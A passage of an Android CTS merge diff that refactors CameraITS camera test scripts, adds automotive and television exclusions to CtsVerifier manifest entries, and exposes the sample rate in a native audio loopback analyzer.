Merge "Revert "Fix the URL in CTS test for Instant App Notification URL."" into rvc-dev
diff --git a/apps/CameraITS/build/scripts/gpylint_rcfile b/apps/CameraITS/build/scripts/gpylint_rcfile
index f92c613..b9c16f4 100644
--- a/apps/CameraITS/build/scripts/gpylint_rcfile
+++ b/apps/CameraITS/build/scripts/gpylint_rcfile
@@ -318,7 +318,7 @@
 
 [MASTER]
 
-# Add files or directories to the blacklist. They should be base names, not
+# Add files or directories to the ignorelist. They should be base names, not
 # paths.
 ignore=CVS
 
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index b4677c7..0a90712 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -64,7 +64,7 @@
     patch = 255 * its.cv2image.gray_scale_img(patch)
     patch = its.cv2image.scale_img(patch.astype(np.uint8), chart.scale)
 
-    # sanity check on image
+    # validity check on image
     assert np.max(patch)-np.min(patch) > 255/8
 
     # save full images if in debug
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index dcca509..14e381c 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -1,4 +1,4 @@
-# Copyright 2015 The Android Open Source Project
+# Copyright 2015 The Android Open Source Project (lint as: python2)
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -41,6 +41,40 @@
 AR_DIFF_ATOL = 0.01
 
 
+def print_failed_test_results(failed_ar, failed_fov, failed_crop):
+    """Print failed test results."""
+    if failed_ar:
+        print "\nAspect ratio test summary"
+        print "Images failed in the aspect ratio test:"
+        print "Aspect ratio value: width / height"
+        for fa in failed_ar:
+            print "%s with %s %dx%d: %.3f;" % (
+                    fa["fmt_iter"], fa["fmt_cmpr"],
+                    fa["w"], fa["h"], fa["ar"]),
+            print "valid range: %.3f ~ %.3f" % (
+                    fa["valid_range"][0], fa["valid_range"][1])
+
+    if failed_fov:
+        print "\nFoV test summary"
+        print "Images failed in the FoV test:"
+        for fov in failed_fov:
+            print fov
+
+    if failed_crop:
+        print "\nCrop test summary"
+        print "Images failed in the crop test:"
+        print "Circle center position, (horizontal x vertical), listed",
+        print "below is relative to the image center."
+        for fc in failed_crop:
+            print "%s with %s %dx%d: %.3f x %.3f;" % (
+                    fc["fmt_iter"], fc["fmt_cmpr"], fc["w"], fc["h"],
+                    fc["ct_hori"], fc["ct_vert"]),
+            print "valid horizontal range: %.3f ~ %.3f;" % (
+                    fc["valid_range_h"][0], fc["valid_range_h"][1]),
+            print "valid vertical range: %.3f ~ %.3f" % (
+                    fc["valid_range_v"][0], fc["valid_range_v"][1])
+
+
 def is_checked_aspect_ratio(first_api_level, w, h):
     if first_api_level >= 30:
         return True
@@ -182,6 +216,7 @@
 
     Returns:
         ref_fov:    dict with [fmt, % coverage, w, h, circle_w, circle_h]
+        cc_ct_gt:   circle center position relative to the center of image.
     """
     ref_fov = {}
     fmt = its.objects.get_largest_jpeg_format(props)
@@ -193,8 +228,8 @@
     img = its.image.convert_capture_to_rgb_image(cap, props=props)
     print "Captured JPEG %dx%d" % (w, h)
     img_name = "%s_jpeg_w%d_h%d.png" % (NAME, w, h)
-    # Set debug to True to save the debug image
-    _, _, circle_size = measure_aspect_ratio(img, img_name, False, debug=True)
+    # Set debug to True to save the reference image
+    _, cc_ct_gt, circle_size = measure_aspect_ratio(img, img_name, False, debug=True)
     fov_percent = calc_circle_image_ratio(circle_size[0], circle_size[1], w, h)
     ref_fov["fmt"] = "JPEG"
     ref_fov["percent"] = fov_percent
@@ -203,7 +238,7 @@
     ref_fov["circle_w"] = circle_size[0]
     ref_fov["circle_h"] = circle_size[1]
     print "Using JPEG reference:", ref_fov
-    return ref_fov
+    return ref_fov, cc_ct_gt
 
 
 def calc_circle_image_ratio(circle_w, circle_h, image_w, image_h):
@@ -284,7 +319,7 @@
         # 3. Child"s width > 0.1*Image width
         # 4. Child"s height > 0.1*Image height
         # 5. 0.25*Parent"s area < Child"s area < 0.45*Parent"s area
-        # 6. Child is a black, and Parent is white
+        # 6. Child == 0, and Parent == 255
         # 7. Center of Child and center of parent should overlap
         if (prt_shape["width"] * 0.56 < child_shape["width"]
                     < prt_shape["width"] * 0.76
@@ -469,7 +504,11 @@
                   # as reference frame; otherwise the highest resolution JPEG is used.
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
+        fls_logical = props['android.lens.info.availableFocalLengths']
+        print 'logical available focal lengths: %s', str(fls_logical)
         props = cam.override_with_hidden_physical_camera_props(props)
+        fls_physical = props['android.lens.info.availableFocalLengths']
+        print 'physical available focal lengths: %s', str(fls_physical)
         # determine skip conditions
         first_api = its.device.get_first_api_level(its.device.get_device_id())
         if first_api < 30:  # original constraint
@@ -491,11 +530,11 @@
         cam.do_3a()
         req = its.objects.auto_capture_request()
 
-        # If raw capture is available, use it as ground truth.
-        if raw_avlb:
+        # If raw is available and main camera, use it as ground truth.
+        if raw_avlb and (fls_physical == fls_logical):
             ref_fov, cc_ct_gt, aspect_ratio_gt = find_raw_fov_reference(cam, req, props, debug)
         else:
-            ref_fov = find_jpeg_fov_reference(cam, req, props)
+            ref_fov, cc_ct_gt = find_jpeg_fov_reference(cam, req, props)
 
         if run_crop_test:
             # Normalize the circle size to 1/4 of the image size, so that
@@ -624,47 +663,12 @@
                                             "valid_range_v": thres_range_v_cp})
                         its.image.write_image(img/255, img_name, True)
 
-        # Print aspect ratio test results
-        failed_image_number_for_aspect_ratio_test = len(failed_ar)
-        if failed_image_number_for_aspect_ratio_test > 0:
-            print "\nAspect ratio test summary"
-            print "Images failed in the aspect ratio test:"
-            print "Aspect ratio value: width / height"
-            for fa in failed_ar:
-                print "%s with %s %dx%d: %.3f;" % (
-                        fa["fmt_iter"], fa["fmt_cmpr"],
-                        fa["w"], fa["h"], fa["ar"]),
-                print "valid range: %.3f ~ %.3f" % (
-                        fa["valid_range"][0], fa["valid_range"][1])
-
-        # Print FoV test results
-        failed_image_number_for_fov_test = len(failed_fov)
-        if failed_image_number_for_fov_test > 0:
-            print "\nFoV test summary"
-            print "Images failed in the FoV test:"
-            for fov in failed_fov:
-                print fov
-
-        # Print crop test results
-        failed_image_number_for_crop_test = len(failed_crop)
-        if failed_image_number_for_crop_test > 0:
-            print "\nCrop test summary"
-            print "Images failed in the crop test:"
-            print "Circle center position, (horizontal x vertical), listed",
-            print "below is relative to the image center."
-            for fc in failed_crop:
-                print "%s with %s %dx%d: %.3f x %.3f;" % (
-                        fc["fmt_iter"], fc["fmt_cmpr"], fc["w"], fc["h"],
-                        fc["ct_hori"], fc["ct_vert"]),
-                print "valid horizontal range: %.3f ~ %.3f;" % (
-                        fc["valid_range_h"][0], fc["valid_range_h"][1]),
-                print "valid vertical range: %.3f ~ %.3f" % (
-                        fc["valid_range_v"][0], fc["valid_range_v"][1])
-
-        assert failed_image_number_for_aspect_ratio_test == 0
-        assert failed_image_number_for_fov_test == 0
+        # Print failed any test results
+        print_failed_test_results(failed_ar, failed_fov, failed_crop)
+        assert not failed_ar
+        assert not failed_fov
         if level3_device:
-            assert failed_image_number_for_crop_test == 0
+            assert not failed_crop
 
 
 if __name__ == "__main__":
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 94e5c6b..2d08267 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -26,8 +26,8 @@
 
 import numpy as np
 
-ALIGN_TOL_MM = 4.0E-3  # mm
-ALIGN_TOL = 0.01  # multiplied by sensor diagonal to convert to pixels
+ALIGN_ATOL_MM = 10E-3  # mm
+ALIGN_RTOL = 0.01  # multiplied by sensor diagonal to convert to pixels
 CIRCLE_RTOL = 0.1
 GYRO_REFERENCE = 1
 LENS_FACING_BACK = 1  # 0: FRONT, 1: BACK, 2: EXTERNAL
@@ -241,7 +241,7 @@
         gray:           numpy grayscale array with pixel values in [0,255].
         name:           string of file name.
     Returns:
-        circle:         (circle_center_x, circle_center_y, radius)
+        circle:         {'x': val, 'y': val, 'r': val}
     """
     size = gray.shape
     # otsu threshold to binarize the image
@@ -282,7 +282,7 @@
         # 3. Child's width > 0.1*Image width
         # 4. Child's height > 0.1*Image height
         # 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
-        # 6. Child is a black, and Parent is white
+        # 6. Child == 0, and Parent == 255
         # 7. Center of Child and center of parent should overlap
         if (prt_shape['width'] * 0.56 < child_shape['width']
                     < prt_shape['width'] * 0.76
@@ -315,7 +315,7 @@
         print 'More than one black circle was detected. Background of scene',
         print 'may be too complex.\n'
         assert num_circle == 1
-    return [circle_ctx, circle_cty, (circle_w+circle_h)/4.0]
+    return {'x': circle_ctx, 'y': circle_cty, 'r': (circle_w+circle_h)/4.0}
 
 
 def define_reference_camera(pose_reference, cam_reference):
@@ -335,6 +335,9 @@
         i_2nd = list(cam_reference.keys())[1]
     else:
         print 'pose_reference is CAMERA'
+        num_ref_cameras = len([v for v in cam_reference.itervalues() if v])
+        e_msg = 'Too many/few reference cameras: %s' % str(cam_reference)
+        assert num_ref_cameras == 1, e_msg
         i_ref = (k for (k, v) in cam_reference.iteritems() if v).next()
         i_2nd = (k for (k, v) in cam_reference.iteritems() if not v).next()
     return i_ref, i_2nd
@@ -357,7 +360,7 @@
     world coordinates.
 
     Reproject the world coordinates back to pixel coordinates and compare
-    against originals as a sanity check.
+    against originals as a validity check.
 
     Compare the circle sizes if the focal lengths of the cameras are
     different using
@@ -378,7 +381,6 @@
                              its.caps.logical_multi_camera(props) and
                              its.caps.backward_compatible(props))
         debug = its.caps.debug_mode()
-        avail_fls = props['android.lens.info.availableFocalLengths']
         pose_reference = props['android.lens.poseReference']
 
         # Convert chart_distance for lens facing back
@@ -458,6 +460,7 @@
         circle = {}
         fl = {}
         sensor_diag = {}
+        pixel_sizes = {}
         capture_cam_ids = physical_ids
         if fmt == 'raw':
             capture_cam_ids = physical_raw_ids
@@ -519,7 +522,7 @@
                 print 't:', t[i]
                 print 'r:', r[i]
 
-            # Correct lens distortion to image (if available)
+            # Correct lens distortion to RAW image (if available)
             if its.caps.distortion_correction(physical_props[i]) and fmt == 'raw':
                 distort = np.array(physical_props[i]['android.lens.distortion'])
                 assert len(distort) == 5, 'distortion has wrong # of params.'
@@ -536,26 +539,37 @@
             # Find the circles in grayscale image
             circle[i] = find_circle(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY),
                                     '%s_%s_gray_%s.jpg' % (NAME, fmt, i))
-            print 'Circle radius ', i, ': ', circle[i][2]
+            print 'Circle %s radius: %.3f' % (i, circle[i]['r'])
 
             # Undo zoom to image (if applicable). Assume that the maximum
             # physical YUV image size is close to active array size.
             if fmt == 'yuv':
-                ar = physical_props[i]['android.sensor.info.activeArraySize']
-                arw = ar['right'] - ar['left']
-                arh = ar['bottom'] - ar['top']
+                yuv_w = caps[(fmt, i)]['width']
+                yuv_h = caps[(fmt, i)]['height']
+                print 'cap size: %d x %d' % (yuv_w, yuv_h)
                 cr = caps[(fmt, i)]['metadata']['android.scaler.cropRegion']
                 crw = cr['right'] - cr['left']
                 crh = cr['bottom'] - cr['top']
                 # Assume pixels remain square after zoom, so use same zoom
                 # ratios for x and y.
-                zoom_ratio = min(1.0 * arw / crw, 1.0 * arh / crh)
-                circle[i][0] = cr['left'] + circle[i][0] / zoom_ratio
-                circle[i][1] = cr['top'] + circle[i][1] / zoom_ratio
-                circle[i][2] = circle[i][2] / zoom_ratio
+                zoom_ratio = min(1.0 * yuv_w / crw, 1.0 * yuv_h / crh)
+                circle[i]['x'] = cr['left'] + circle[i]['x'] / zoom_ratio
+                circle[i]['y'] = cr['top'] + circle[i]['y'] / zoom_ratio
+                circle[i]['r'] = circle[i]['r'] / zoom_ratio
+                print ' Calculated zoom_ratio:', zoom_ratio
+                print ' Corrected circle X:', circle[i]['x']
+                print ' Corrected circle Y:', circle[i]['y']
+                print ' Corrected circle radius : %.3f'  % circle[i]['r']
 
-            # Find focal length & sensor size
+            # Find focal length and pixel & sensor size
             fl[i] = physical_props[i]['android.lens.info.availableFocalLengths'][0]
+            ar = physical_props[i]['android.sensor.info.activeArraySize']
+            sensor_size = physical_props[i]['android.sensor.info.physicalSize']
+            pixel_size_w = sensor_size['width'] / (ar['right'] - ar['left'])
+            pixel_size_h = sensor_size['height'] / (ar['bottom'] - ar['top'])
+            print 'pixel size(um): %.2f x %.2f' % (
+                pixel_size_w*1E3, pixel_size_h*1E3)
+            pixel_sizes[i] = (pixel_size_w + pixel_size_h) / 2 * 1E3
             sensor_diag[i] = math.sqrt(size[i][0] ** 2 + size[i][1] ** 2)
 
         i_ref, i_2nd = define_reference_camera(pose_reference, cam_reference)
@@ -566,10 +580,10 @@
         y_w = {}
         for i in [i_ref, i_2nd]:
             x_w[i], y_w[i] = convert_to_world_coordinates(
-                    circle[i][0], circle[i][1], r[i], t[i], k[i],
+                    circle[i]['x'], circle[i]['y'], r[i], t[i], k[i],
                     chart_distance)
 
-        # Back convert to image coordinates for sanity check
+        # Back convert to image coordinates for round-trip check
         x_p = {}
         y_p = {}
         x_p[i_2nd], y_p[i_2nd] = convert_to_image_coordinates(
@@ -582,7 +596,7 @@
         # Summarize results
         for i in [i_ref, i_2nd]:
             print ' Camera: %s' % i
-            print ' x, y (pixels): %.1f, %.1f' % (circle[i][0], circle[i][1])
+            print ' x, y (pixels): %.1f, %.1f' % (circle[i]['x'], circle[i]['y'])
             print ' x_w, y_w (mm): %.2f, %.2f' % (x_w[i]*1.0E3, y_w[i]*1.0E3)
             print ' x_p, y_p (pixels): %.1f, %.1f' % (x_p[i], y_p[i])
 
@@ -591,31 +605,31 @@
                              np.array([x_w[i_2nd], y_w[i_2nd]]))
         print 'Center location err (mm): %.2f' % (err*1E3)
         msg = 'Center locations %s <-> %s too different!' % (i_ref, i_2nd)
-        msg += ' val=%.2fmm, THRESH=%.fmm' % (err*1E3, ALIGN_TOL_MM*1E3)
-        assert err < ALIGN_TOL, msg
+        msg += ' val=%.2fmm, THRESH=%.fmm' % (err*1E3, ALIGN_ATOL_MM*1E3)
+        assert err < ALIGN_ATOL_MM, msg
 
         # Check projections back into pixel space
         for i in [i_ref, i_2nd]:
-            err = np.linalg.norm(np.array([circle[i][0], circle[i][1]]) -
+            err = np.linalg.norm(np.array([circle[i]['x'], circle[i]['y']]) -
                                  np.array([x_p[i], y_p[i]]))
-            print 'Camera %s projection error (pixels): %.1f' % (i, err)
-            tol = ALIGN_TOL * sensor_diag[i]
+            print 'Camera %s projection error (pixels): %.2f' % (i, err)
+            tol = ALIGN_RTOL * sensor_diag[i]
             msg = 'Camera %s project locations too different!' % i
             msg += ' diff=%.2f, TOL=%.2f' % (err, tol)
             assert err < tol, msg
 
         # Check focal length and circle size if more than 1 focal length
-        if len(avail_fls) > 1:
+        if len(fl) > 1:
             print 'Circle radii (pixels); ref: %.1f, 2nd: %.1f' % (
-                    circle[i_ref][2], circle[i_2nd][2])
+                    circle[i_ref]['r'], circle[i_2nd]['r'])
             print 'Focal lengths (diopters); ref: %.2f, 2nd: %.2f' % (
                     fl[i_ref], fl[i_2nd])
-            print 'Sensor diagonals (pixels); ref: %.2f, 2nd: %.2f' % (
-                    sensor_diag[i_ref], sensor_diag[i_2nd])
+            print 'Pixel size (um); ref: %.2f, 2nd: %.2f' % (
+                    pixel_sizes[i_ref], pixel_sizes[i_2nd])
             msg = 'Circle size scales improperly! RTOL=%.1f' % CIRCLE_RTOL
-            msg += '\nMetric: radius/focal_length*sensor_diag should be equal.'
-            assert np.isclose(circle[i_ref][2]/fl[i_ref]*sensor_diag[i_ref],
-                              circle[i_2nd][2]/fl[i_2nd]*sensor_diag[i_2nd],
+            msg += '\nMetric: radius*pixel_size/focal_length should be equal.'
+            assert np.isclose(circle[i_ref]['r']*pixel_sizes[i_ref]/fl[i_ref],
+                              circle[i_2nd]['r']*pixel_sizes[i_2nd]/fl[i_2nd],
                               rtol=CIRCLE_RTOL), msg
 
 if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 9292f6a3..f1b1d36 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -128,7 +128,7 @@
     else:
         events, frames, _, h = load_data()
 
-    # Sanity check camera timestamps are enclosed by sensor timestamps
+    # Check that camera timestamps are enclosed by sensor timestamps
     # This will catch bugs where camera and gyro timestamps go completely out
     # of sync
     cam_times = get_cam_times(events["cam"])
diff --git a/apps/CameraITS/tools/DngNoiseModel.pdf b/apps/CameraITS/tools/DngNoiseModel.pdf
index fee9e70..7cbdbd0 100644
--- a/apps/CameraITS/tools/DngNoiseModel.pdf
+++ b/apps/CameraITS/tools/DngNoiseModel.pdf
Binary files differ
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index b6579a8..49f849e 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -30,7 +30,7 @@
 import its.image
 import rotation_rig as rot
 
-# For sanity checking the installed APK's target SDK version
+# For checking the installed APK's target SDK version
 MIN_SUPPORTED_SDK_VERSION = 28  # P
 
 CHART_DELAY = 1  # seconds
@@ -429,7 +429,7 @@
     device_id_arg = "device=" + device_id
     print "Testing device " + device_id
 
-    # Sanity check CtsVerifier SDK level
+    # Check CtsVerifier SDK level
     # Here we only do warning as there is no guarantee on pm dump output formt not changed
     # Also sometimes it's intentional to run mismatched versions
     cmd = "adb -s %s shell pm dump com.android.cts.verifier" % (device_id)
@@ -473,7 +473,7 @@
     with ItsSession() as cam:
         cam.check_its_version_compatible()
 
-    # Sanity Check for devices
+    # Correctness check for devices
     device_bfp = its.device.get_device_fingerprint(device_id)
     assert device_bfp is not None
 
@@ -517,10 +517,14 @@
             results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
 
         camera_fov = calc_camera_fov(id_combo.id, id_combo.sub_id)
+        # Id combo used to store test results in file system
         id_combo_string = id_combo.id
+        # Id string used for testing
+        id_test_string = id_combo.id
         has_hidden_sub_camera = id_combo.sub_id is not None
         if has_hidden_sub_camera:
-            id_combo_string += ":" + id_combo.sub_id
+            id_combo_string += "." + id_combo.sub_id
+            id_test_string += ":" + id_combo.sub_id
             scenes = [scene for scene in scenes if HIDDEN_PHYSICAL_CAMERA_TESTS[scene]]
         # Loop capturing images until user confirm test scene is correct
         camera_id_arg = "camera=" + id_combo.id
@@ -643,7 +647,7 @@
                             test_code = skip_code
                     if skip_code is not SKIP_RET_CODE:
                         cmd = ['python', os.path.join(os.getcwd(), testpath)]
-                        cmd += one_camera_argv + ["camera="+id_combo_string] + [chart_loc_arg]
+                        cmd += one_camera_argv + ["camera="+id_test_string] + [chart_loc_arg]
                         cmd += [chart_dist_arg]
                         with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
                             test_code = run_subprocess_with_timeout(
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index b4f58ad..fdb96d4 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -169,6 +169,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_other" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".forcestop.RecentTaskRemovalTestActivity"
@@ -179,6 +180,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_required_configs" android:value="config_has_recents"/>
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".companion.CompanionDeviceTestActivity"
@@ -209,7 +211,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
-            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive:android.software.lockscreen_disabled" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.lockscreen_disabled" />
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin" />
         </activity>
@@ -2209,6 +2211,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
 
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".camera.intents.CameraIntentsActivity"
@@ -2220,6 +2224,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
 
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <service android:name=".camera.intents.CameraContentJobService"
@@ -2235,6 +2241,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
 
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity
@@ -2248,16 +2256,22 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
         <activity
             android:name=".camera.fov.DetermineFovActivity"
             android:label="@string/camera_fov_calibration"
             android:screenOrientation="landscape"
             android:theme="@android:style/Theme.Holo.NoActionBar.Fullscreen" >
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
         <activity
             android:name=".camera.fov.CalibrationPreferenceActivity"
             android:label="@string/camera_fov_label_options" >
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
 
@@ -2271,6 +2285,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features"
                     android:value="android.hardware.camera.any"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".camera.its.ItsTestActivity"
@@ -2284,6 +2300,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".camera.flashlight.CameraFlashlightActivity"
@@ -2295,6 +2313,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.flash" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".camera.performance.CameraPerformanceActivity"
@@ -2306,6 +2326,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".camera.bokeh.CameraBokehActivity"
@@ -2318,6 +2340,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".usb.accessory.UsbAccessoryTestActivity"
@@ -2551,7 +2575,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_tiles" />
             <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <service android:name=".qstiles.MockTileService"
@@ -3839,8 +3863,8 @@
         <!-- ProAudio test invokes the "Loopback" App -->
         <activity android:name="org.drrickorang.loopback"/>
 
-        <activity android:name=".audio.AudioLoopbackActivity"
-                  android:label="@string/audio_loopback_test">
+        <activity android:name=".audio.AudioLoopbackLatencyActivity"
+                  android:label="@string/audio_loopback_latency_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -4318,6 +4342,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
         <activity android:name=".instantapps.RecentAppsTestActivity"
                  android:label="@string/ia_recents">
@@ -4326,6 +4351,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
         <activity android:name=".instantapps.AppInfoTestActivity"
                  android:label="@string/ia_app_info">
@@ -4335,7 +4361,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.television:android.software.leanback" />
+                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".displaycutout.DisplayCutoutTestActivity"
@@ -4348,4 +4374,8 @@
         </activity>
     </application>
 
+    <queries>
+         <!-- Rotation Vector CV Crosscheck (RVCVXCheckTestActivity) relies on OpenCV Manager -->
+         <package android:name="org.opencv.engine" />
+    </queries>
 </manifest>
diff --git a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp
index d8d6946..8a1c63f 100644
--- a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp
+++ b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp
@@ -202,6 +202,10 @@
     return mPulseLatencyAnalyzer.getMeasuredConfidence();
 }
 
+int NativeAudioAnalyzer::getSampleRate() {
+    return mOutputSampleRate;
+}
+
 aaudio_result_t NativeAudioAnalyzer::openAudio() {
     AAudioStreamBuilder *builder = nullptr;
 
@@ -234,13 +238,13 @@
     int32_t outputFramesPerBurst = AAudioStream_getFramesPerBurst(mOutputStream);
     (void) AAudioStream_setBufferSizeInFrames(mOutputStream, outputFramesPerBurst * kDefaultOutputSizeBursts);
 
-    int32_t outputSampleRate = AAudioStream_getSampleRate(mOutputStream);
+    mOutputSampleRate = AAudioStream_getSampleRate(mOutputStream);
     mActualOutputChannelCount = AAudioStream_getChannelCount(mOutputStream);
 
     // Create the INPUT stream -----------------------
     AAudioStreamBuilder_setDirection(builder, AAUDIO_DIRECTION_INPUT);
     AAudioStreamBuilder_setFormat(builder, AAUDIO_FORMAT_UNSPECIFIED);
-    AAudioStreamBuilder_setSampleRate(builder, outputSampleRate); // must match
+    AAudioStreamBuilder_setSampleRate(builder, mOutputSampleRate); // must match
     AAudioStreamBuilder_setChannelCount(builder, 1); // mono
     AAudioStreamBuilder_setDataCallback(builder, nullptr, nullptr);
     AAudioStreamBuilder_setErrorCallback(builder, nullptr, nullptr);
diff --git a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h
index 0d9c64b..3367226 100644
--- a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h
+++ b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h
@@ -80,6 +80,11 @@
     double getLatencyMillis();
 
     /**
+     * @return the sample rate (in Hz) used for the measurement signal
+     */
+    int getSampleRate();
+
+    /**
      * The confidence is based on a normalized correlation.
      * It ranges from 0.0 to 1.0. Higher is better.
      *
@@ -96,6 +101,7 @@
     aaudio_format_t    mActualInputFormat = AAUDIO_FORMAT_INVALID;
     int16_t           *mInputShortData = nullptr;
     float             *mInputFloatData = nullptr;
+    int32_t            mOutputSampleRate = 0;
 
     aaudio_result_t    mInputError = AAUDIO_OK;
     aaudio_result_t    mOutputError = AAUDIO_OK;
diff --git a/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp b/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
index a851cbe..58908bd 100644
--- a/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
+++ b/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
@@ -113,4 +113,13 @@
     return 0.0;
 }
 
+JNIEXPORT jint JNICALL Java_com_android_cts_verifier_audio_NativeAnalyzerThread_getSampleRate
+  (JNIEnv *env __unused, jobject obj __unused, jlong pAnalyzer) {
+    NativeAudioAnalyzer * analyzer = (NativeAudioAnalyzer *) pAnalyzer;
+    if (analyzer != nullptr) {
+        return analyzer->getSampleRate();
+    }
+    return 0;
+}
+
 }
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
